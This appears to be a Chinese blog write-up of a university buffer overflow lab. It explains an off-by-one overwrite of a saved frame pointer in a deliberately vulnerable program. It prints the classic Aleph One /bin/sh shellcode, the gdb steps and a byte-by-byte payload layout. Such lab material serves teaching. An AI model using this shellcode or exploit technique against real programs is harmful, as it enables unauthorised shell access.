zoukankan      html  css  js  c++  java
  • 缓冲区溢出实验 2 sizeof/strlen

    实验环境、代码、及准备

     https://www.cnblogs.com/lqerio/p/12870834.html

     

    vul2

    下面只给出有漏洞部分的代码。Vul2问题为sizeof函数在计算时会考虑最后的/0占一字节而strlen不会,同时for循环中用的是i<=,导致虽然nstrcpy函数做了len和out1的比较,但是从argv拷贝到buf数组时,最多可以拷贝201字节,多拷贝的1字节覆盖掉foo函数ebp的最低字节。利用这一点可以实现溢出攻击。

     

     

    shellcode(构造过程)

    原理是运行/bin/sh 来得到shell,构造过程是将具有运行/bin/sh的C代码转换成有相同功能的机器码。注意代码中用到  0  的地方改成用 xor  eax,eax,这样可以避免复制字符串时遇到/0 中断。

    下面的shellcode长度为45字节(不含/0)

     

    /*

     * Aleph One shellcode.

     */

    static const char shellcode[] =

      "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

      "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

      "x80xe8xdcxffxffxff/bin/sh";

    exploit2

    根据1.2vul2的分析和内存栈的知识可知,内存中由高到低为foo的ebp和buf数组的200字节,构造的payload为201字节,payload[200]覆盖到ebp的低位。需要知道buf的起始地址和ebp的值。

    Gdb调试vul2

    Gdb ./vul2

    Disas foo

    得到bar地址 0x804851a

    先随便填exploits的payload,先填200字节。调试exploit2

    gdb -e exploit2 -s /tmp/vul2

    b *0x804851a

    r

     

    打印ebp和buf值,得到如图结果。Buf范围为 0xbffffcb8-0xbffffd80 200字节。Ebp为0xbffffd8c。如果覆盖掉ebp最后一字节为00,改变ebp为0xbffffd00,那么ret存放地址位0xbffffd04-0xbffffd08,注意小端。D04-cb8=4c=76字节。

    故payload构造方式:15字节nop+45字节shellcode+16字节nop+4字节返回地址(buf起始地址)+120字节nop+0x00

    运行

     

  • 相关阅读:
    InnoDB实现MVCC原理
    Python中定义函数时参数有默认值的小陷阱
    Python系统编程笔记
    Python中的字典
    Python中常见的字符串小笔试题
    Oracle常见名词解析
    Oracle数据库面试题【转载】
    Oracle日期语言修改
    Oracle日期时间函数大全
    Oracle数据库分页的三种方法
  • 原文地址:https://www.cnblogs.com/lqerio/p/12870816.html
Copyright © 2011-2022 走看看